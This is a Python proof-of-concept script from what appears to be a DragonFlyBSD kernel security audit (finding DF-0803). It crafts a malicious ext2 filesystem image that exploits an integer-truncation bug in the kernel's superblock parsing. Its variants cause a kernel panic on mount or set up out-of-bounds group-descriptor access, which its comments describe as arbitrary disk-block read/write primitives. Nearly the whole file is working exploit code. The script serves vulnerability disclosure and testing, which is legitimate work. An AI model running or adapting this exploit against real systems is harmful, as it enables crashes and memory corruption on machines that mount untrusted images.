โฌข DragonFlyBSD Kernel Audit
DF-0803 / craft_img.py
โ† back to finding โ†“ download raw
#!/usr/bin/env python3
# DF-0803 โ€” craft a malicious ext2 image that triggers the integer-truncation
# bug in ext2_compute_sb_data() / ext2_vfsops.c:620.
#
# The bug:
#   fs->e2fs_gcount = howmany(fs->e2fs_bcount - first_dblock, bpg);
#
# `e2fs_gcount` is uint32_t (ext2fs.h:175) but `e2fs_bcount` is uint64_t
# (ext2fs.h:159). `howmany` is `((x)+((y)-1))/(y)` (param.h:397) โ€” it returns
# uint64. The assignment TRUNCATES before the post-assignment check at :622.
#
# The check at :622:
#   if (fs->e2fs_gcount > ((uint64_t)1 << 32) - EXT2_DESCS_PER_BLOCK(fs))
# compares the *already-truncated* uint32 (promoted back to uint64) against a
# threshold near 2^32. Since uint32 max == 2^32-1, this only catches the
# 64 values in [2^32-DESC_PER_BLOCK, 2^32-1].
#
# If the true gcount is exactly 2^32 (or any multiple that wraps to 0), the
# truncated gcount is 0, the check passes, malloc(0) returns ZERO_LENGTH_PTR
# ((void *)-8, kern_slaballoc.c:193/890), ext2_cg_validate iterates 0 times,
# mount "succeeds", then ext2_vget(2) derefs e2fs_gd[0] at address
# (-8 + 0*sizeof(ext2_gd)) == 0xFFFFFFFFFFFFFFF8 -> fatal trap.
#
# Variant selection (cmd-line arg):
#   gcount=0  : howmany wraps to 2^32, truncated to 0  -> panic in ext2_vget
#   gcount=1  : howmany wraps to 2^32 + 1, truncated to 1 -> mount succeeds,
#               64 GD entries allocated but only entry 0 validated. Then any
#               inode whose cg>=1 (root dir referencing inode in cg>=1, etc.)
#               follows the attacker-controlled GD entries 1..63 -> arbitrary
#               disk-block read/write primitives (not exercised here).
#
# Image strategy: take a small valid mke2fs-created ext2 image and binary-
# patch the superblock's block-count + feature flags + desc_size. The base
# superblock has no checksum unless metadata_csum is on, which we disable.

import struct, sys, os, subprocess

SB_OFF = 1024  # ext2 primary superblock lives at byte 1024

# Field offsets inside struct ext2fs (see sys/vfs/ext2fs/ext2fs.h:47 et seq).
F_ICOUNT        = 0    # u32
F_BCOUNT        = 4    # u32  (low 32 of e2fs_bcount)
F_RBCOUNT       = 8    # u32
F_FBCOUNT       = 12   # u32
F_FICOUNT       = 16   # u32
F_FIRST_DBLOCK  = 20   # u32
F_LOG_BSIZE     = 24   # u32
F_LOG_FSIZE     = 28   # u32
F_BPG           = 32   # u32
F_FPG           = 36   # u32
F_IPG           = 40   # u32
F_MAGIC         = 56   # u16  = 0xEF53
F_STATE         = 58   # u16
F_REV           = 76   # u32  (E2FS_REV0=0, E2FS_DYNAMIC_REV=1)
F_INODE_SIZE    = 88   # u16
F_FEAT_COMPAT   = 92   # u32
F_FEAT_INCOMPAT = 96   # u32
F_FEAT_ROCOMPAT = 100  # u32
F_DESC_SIZE     = 254  # u16  (e3fs_desc_size) โ€” must be 64 for 64bit feature
F_BCOUNT_HI     = 336  # u32  (e4fs_bcount_hi)

E2FS_MAGIC      = 0xEF53
E2FS_REV0       = 0
E2FS_DYNAMIC    = 1
E2FS_ISCLEAN    = 0x01
E2FS_ERRORS     = 0x02

EXT2F_INCOMPAT_64BIT       = 0x0080
EXT2F_ROCOMPAT_METADATA_CKSUM = 0x0400
EXT2F_ROCOMPAT_GDT_CSUM    = 0x0010

E2FS_64BIT_GD_SIZE = 64

def howmany(x, y):
    return (x + (y - 1)) // y

def patch_u32(buf, off, val):
    struct.pack_into("<I", buf, SB_OFF + off, val & 0xFFFFFFFF)

def patch_u16(buf, off, val):
    struct.pack_into("<H", buf, SB_OFF + off, val & 0xFFFF)

def read_u32(buf, off):
    return struct.unpack_from("<I", buf, SB_OFF + off)[0]

def read_u16(buf, off):
    return struct.unpack_from("<H", buf, SB_OFF + off)[0]

def build_base_image(path, size_mb=1):
    """Use host mke2fs to create a tiny valid ext2 image (block size 4096)."""
    size_kb = size_mb * 1024
    # Disable metadata_csum so the base superblock has no checksum to fix.
    # Enable 64bit so desc_size gets set to 64 by mke2fs (and the field is honored).
    # Disable resize_inode/dir_index/journal to keep the image minimal & valid.
    cmd = [
        "mke2fs", "-t", "ext2", "-b", "4096", "-m", "0", "-N", "16",
        "-O", "^metadata_csum,^resize_inode,^dir_index,^has_journal,extent,filetype,sparse_super,large_file,64bit",
        "-E", "nodiscard",
        "-F", path, f"{size_kb}K",
    ]
    subprocess.run(cmd, check=True,
                   stdout=subprocess.DEVNULL,
                   stderr=subprocess.STDOUT)

def craft(variant, out_path):
    if os.path.exists(out_path):
        os.unlink(out_path)
    build_base_image(out_path, size_mb=1)

    with open(out_path, "r+b") as f:
        buf = bytearray(f.read())

    magic = read_u16(buf, F_MAGIC)
    if magic != E2FS_MAGIC:
        sys.exit(f"bad magic {magic:#x} โ€” base image broken")

    bsize_log = read_u32(buf, F_LOG_BSIZE)
    bsize = 1024 << bsize_log
    first_dblock = read_u32(buf, F_FIRST_DBLOCK)
    bpg = read_u32(buf, F_BPG)
    if bsize != 4096 or bpg != bsize * 8:
        sys.exit(f"unexpected bsize={bsize} bpg={bpg} โ€” base image misconfigured")

    # Force features: enable INCOMPAT_64BIT, clear METADATA_CKSUM / GDT_CSUM so
    # there is no per-GD or superblock checksum that would fail validation
    # before our truncation fires.
    feat_incompat = read_u32(buf, F_FEAT_INCOMPAT) | EXT2F_INCOMPAT_64BIT
    feat_rocompat = read_u32(buf, F_FEAT_ROCOMPAT) & ~(EXT2F_ROCOMPAT_METADATA_CKSUM | EXT2F_ROCOMPAT_GDT_CSUM)
    patch_u32(buf, F_FEAT_INCOMPAT, feat_incompat)
    patch_u32(buf, F_FEAT_ROCOMPAT, feat_rocompat)
    patch_u16(buf, F_DESC_SIZE, E2FS_64BIT_GD_SIZE)

    # Make sure rev is DYNAMIC so desc_size/incompat fields are honored.
    patch_u32(buf, F_REV, E2FS_DYNAMIC)

    # State: clean (so non-forced RO mount proceeds without warning noise).
    state = read_u16(buf, F_STATE) | E2FS_ISCLEAN
    state &= ~E2FS_ERRORS
    patch_u16(buf, F_STATE, state)

    # Pick the malicious block count that makes howmany(...) wrap to 2^32
    # (gcount=0) or 2^32 + 1 (gcount=1).
    if variant == "gcount=0":
        # We want howmany(bcount - first_dblock, bpg) == 2^32 exactly.
        # bcount - first_dblock = 2^32 * bpg  -> howmany = 2^32 (trunc to 0).
        bcount64 = (1 << 32) * bpg + first_dblock
        desc = "gcount wraps to 0 (howmany = 2^32, truncated to 0)"
    elif variant == "gcount=1":
        # We want howmany(bcount - first_dblock, bpg) == 2^32 + 1.
        # bcount - first_dblock โˆˆ [2^32 * bpg + 1, 2^32 * bpg + bpg].
        bcount64 = (1 << 32) * bpg + first_dblock + 1
        desc = "gcount wraps to 1 (howmany = 2^32 + 1, truncated to 1)"
    elif variant == "gcount=64":
        # OOB variant: gcount wraps to 64 โ€” exactly fills the 4096-byte GD
        # allocation. ino_to_cg >= 64 would OOB e2fs_gd[64..].
        bcount64 = (1 << 32) * bpg + first_dblock + 64 * bpg
        desc = "gcount wraps to 64 (howmany = 2^32 + 64, truncated to 64)"
    else:
        sys.exit(f"unknown variant {variant}")

    lo = bcount64 & 0xFFFFFFFF
    hi = (bcount64 >> 32) & 0xFFFFFFFF
    patch_u32(buf, F_BCOUNT, lo)
    patch_u32(buf, F_BCOUNT_HI, hi)

    # Keep rbcount/fbcount <= bcount (the :599 check).
    patch_u32(buf, F_RBCOUNT, 0)
    patch_u32(buf, F_FBCOUNT, 0)
    patch_u32(buf, 340, 0)  # e4fs_rbcount_hi
    patch_u32(buf, 344, 0)  # e4fs_fbcount_hi

    # Sanity-check our arithmetic against the kernel's exact expression.
    bcount_check = read_u32(buf, F_BCOUNT) | (read_u32(buf, F_BCOUNT_HI) << 32)
    gcount64 = howmany(bcount_check - first_dblock, bpg)
    gcount32 = gcount64 & 0xFFFFFFFF

    with open(out_path, "wb") as f:
        f.write(buf)

    print(f"[+] crafted {out_path}  ({variant})")
    print(f"    bsize={bsize}  bpg={bpg}  first_dblock={first_dblock}")
    print(f"    bcount64 = {bcount64:#x}")
    print(f"    true howmany(bcount-first_dblock, bpg) = {gcount64} ({gcount64:#x})")
    print(f"    truncated e2fs_gcount (uint32)        = {gcount32}")
    print(f"    post-trunc check threshold             = {(1<<32) - bsize//E2FS_64BIT_GD_SIZE}")
    print(f"    bug effect: {desc}")

if __name__ == "__main__":
    variant = sys.argv[1] if len(sys.argv) > 1 else "gcount=0"
    out = sys.argv[2] if len(sys.argv) > 2 else "df0803.img"
    craft(variant, out)